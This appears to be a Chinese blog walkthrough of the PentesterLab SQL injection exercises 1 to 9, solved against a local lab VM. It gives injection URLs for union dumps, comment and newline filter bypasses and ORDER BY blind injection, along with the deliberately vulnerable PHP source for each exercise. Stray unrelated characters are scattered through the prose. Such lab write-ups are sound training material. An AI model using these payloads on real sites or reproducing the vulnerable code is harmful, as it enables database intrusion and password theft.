web for pentest 之SQL injections

圖像 1.png

SQL injections

example1

http://192.168.132.131/sqli/example1.php?name=root //初看為字符串型

1.判斷列數(shù)

http://192.168.132.131/sqli/example1.php?name=root' order by 5 --+ 成功
http://192.168.132.131/sqli/example1.php?name=root' order by 6 --+ 失敗
列數(shù)為5

2.查詢庫名和版本號

http://192.168.132.131/sqli/example1.php?name=root%27%20union%20select%20database(),version(),user(),4,5 --+

得到庫名為exercises ~~~~~~~ 數(shù)據(jù)庫版本為5.1.66-0+squeeze1~~~~~~主機(jī)用戶名:pentesterlab@localhost


圖像 3.png

3.查詢庫的表名

http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() --+

可以看到只有一張表為users


圖像 4.png

4.查詢字段名(列名)

http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=‘users’ --+

得到5個列名分別為id,name,age,groupid,passwd

圖像 5.png

5.查詢所有數(shù)據(jù)

http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(id,' ',name,' ',age),group_concat(passwd),3,4,5 from users --+
可以看到所有數(shù)據(jù)出來了

圖像 6.png

貼個源碼

<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";  
    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
  require_once '../footer.php';
?>

發(fā)現(xiàn)沒有任何過濾..........

example2

http://192.168.132.131/sqli/example2.php?name=root%27%20or%201=1%20#
顯示ERROR NO SPACE 看來是過濾了啥竞端,執(zhí)行不了葱轩,懶得試了看看源碼

<?php
  require_once('../header.php');
  require_once('db.php');

    if (preg_match('/ /', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
  require '../footer.php';
?>

有個preg_match函數(shù)過濾,preg_match — 執(zhí)行一個正則表達(dá)式匹配


圖像 7.png

也就是過濾了空格拴测,所以直接注釋空格就好了

192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23

圖像 8.png

example3

好生奇怪第三關(guān)直接可以用第二關(guān)的payload

192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23
直接爆出數(shù)據(jù)來
看看源碼去

<?php
    require_once('../header.php');
  require_once('db.php');
    if (preg_match('/\s+/', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
    require '../footer.php';
?>
圖像 11.png

這個顯得更加高級一點

example4

這關(guān)換成id了割坠,http://192.168.132.131/sqli/example4.php?id=2%20order%20by%205#
一試發(fā)現(xiàn)是數(shù)字型注入乌妒,老辦法來,直接給出payload

http://192.168.132.131/sqli/example4.php?id=2%20union%20select%20group_concat(id,name,age,passwd),2,3,4,5%20from%20users

圖像 9.png

看看源碼

<?php
  require_once('../header.php');
  require_once('db.php');
  $sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result = mysql_query($sql);
    

    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>

        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
    require '../footer.php';
?>

有個過濾函數(shù)粤蝎,mysql_real_ecape_string()對特殊符號轉(zhuǎn)義碰缔,但這數(shù)字型沒有特殊符號赋除,就繞過了


圖像 10.png

example5

額阱缓,上題payload同樣可以適用

http://192.168.132.131/sqli/example5.php?id=2%20union%20select%20group_concat(id),2,3,4,5%20from%20users#
看看源碼

<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^[0-9]+/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;
    
    $result = mysql_query($sql);

    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
    require '../footer.php';
?>

正則表達(dá),匹配非數(shù)字型的過濾举农,高級一點而已荆针,同樣繞過

example6

有點迷,不知道怎么過濾的颁糟,猜測是有 /[0-9]+/ 之類的過濾航背。根據(jù)上一題,猜測是只匹配了$棱貌,于是在#后面加上個數(shù)字吧,看下源碼

<?php

   require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/[0-9]+$/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;

    
    $result = mysql_query($sql);


if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
    require '../footer.php';
?>

/[0-9]+$/匹配末尾為數(shù)字就可以了玖媚,直接給出payload

http://192.168.132.131/sqli/example6.php?id=2%20union%20all%20select%201,group_concat(id),3,4,5%20from%20users--+%201

example7

試了幾個都沒用,看看源碼

<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"];
    
    $result = mysql_query($sql);

    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
    require '../footer.php';
?>

發(fā)現(xiàn)/m可以匹配多行


圖像 1.png

查到%0A可以結(jié)尾每行婚脱,試試上payload

http://192.168.132.131/sqli/example7.php?id=2%0aunion%0aall%0aselect%0a1,group_concat(name),3,4,5%0afrom%0ausers#
直接爆出來

example8

<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY `";
    $sql .= mysql_real_escape_string($_GET["order"])."`";
    $result = mysql_query($sql);
    
    if ($result) {
        ?>
        <table  class='table table-striped'>
        <tr>
            <th><a href="example8.php?order=id">id</th>
            <th><a href="example8.php?order=name">name</th>
            <th><a href="example8.php?order=age">age</th>
        </tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
    require '../footer.php';
?>

看了源碼直接丟sqlmap里跑吧今魔!

http://192.168.132.131/sqli/example8.php?order=id`, (select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1%23

example9

?php
  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY ";
  $sql .= mysql_real_escape_string($_GET["order"]);
    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
        <tr>
            <th><a href="example9.php?order=id">id</th>
            <th><a href="example9.php?order=name">name</th>
            <th><a href="example9.php?order=age">age</th>
        </tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
  require '../footer.php';
?>

同理直接上payload

http://192.168.132.131//sqli/example9.php?order=(select CASE WHEN (SELECT ASCII(SUBSTRING(passwd, 1, 1)) FROM users where name = 0x726f6f74) = 98 THEN age ELSE id END)%23

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市障贸,隨后出現(xiàn)的幾起案子错森,更是在濱河造成了極大的恐慌,老刑警劉巖篮洁,帶你破解...
    沈念sama閱讀 207,248評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件涩维,死亡現(xiàn)場離奇詭異,居然都是意外死亡袁波,警方通過查閱死者的電腦和手機(jī)瓦阐,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,681評論 2 381
  • 文/潘曉璐 我一進(jìn)店門蜗侈,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人睡蟋,你說我怎么就攤上這事宛篇。” “怎么了薄湿?”我有些...
    開封第一講書人閱讀 153,443評論 0 344
  • 文/不壞的土叔 我叫張陵叫倍,是天一觀的道長。 經(jīng)常有香客問我豺瘤,道長吆倦,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,475評論 1 279
  • 正文 為了忘掉前任坐求,我火速辦了婚禮蚕泽,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘桥嗤。我一直安慰自己须妻,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 64,458評論 5 374
  • 文/花漫 我一把揭開白布泛领。 她就那樣靜靜地躺著荒吏,像睡著了一般。 火紅的嫁衣襯著肌膚如雪渊鞋。 梳的紋絲不亂的頭發(fā)上绰更,一...
    開封第一講書人閱讀 49,185評論 1 284
  • 那天,我揣著相機(jī)與錄音锡宋,去河邊找鬼儡湾。 笑死,一個胖子當(dāng)著我的面吹牛执俩,可吹牛的內(nèi)容都是我干的徐钠。 我是一名探鬼主播,決...
    沈念sama閱讀 38,451評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼役首,長吁一口氣:“原來是場噩夢啊……” “哼尝丐!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起宋税,我...
    開封第一講書人閱讀 37,112評論 0 261
  • 序言:老撾萬榮一對情侶失蹤摊崭,失蹤者是張志新(化名)和其女友劉穎讼油,沒想到半個月后杰赛,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,609評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡矮台,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,083評論 2 325
  • 正文 我和宋清朗相戀三年乏屯,在試婚紗的時候發(fā)現(xiàn)自己被綠了根时。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,163評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡辰晕,死狀恐怖蛤迎,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情含友,我是刑警寧澤替裆,帶...
    沈念sama閱讀 33,803評論 4 323
  • 正文 年R本政府宣布,位于F島的核電站窘问,受9級特大地震影響辆童,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜惠赫,卻給世界環(huán)境...
    茶點故事閱讀 39,357評論 3 307
  • 文/蒙蒙 一把鉴、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧儿咱,春花似錦庭砍、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,357評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至钳宪,卻和暖如春凯旭,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背使套。 一陣腳步聲響...
    開封第一講書人閱讀 31,590評論 1 261
  • 我被黑心中介騙來泰國打工罐呼, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人侦高。 一個月前我還...
    沈念sama閱讀 45,636評論 2 355
  • 正文 我出身青樓嫉柴,卻偏偏與公主長得像,于是被迫代替她去往敵國和親奉呛。 傳聞我的和親對象是個殘疾皇子计螺,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,925評論 2 344

推薦閱讀更多精彩內(nèi)容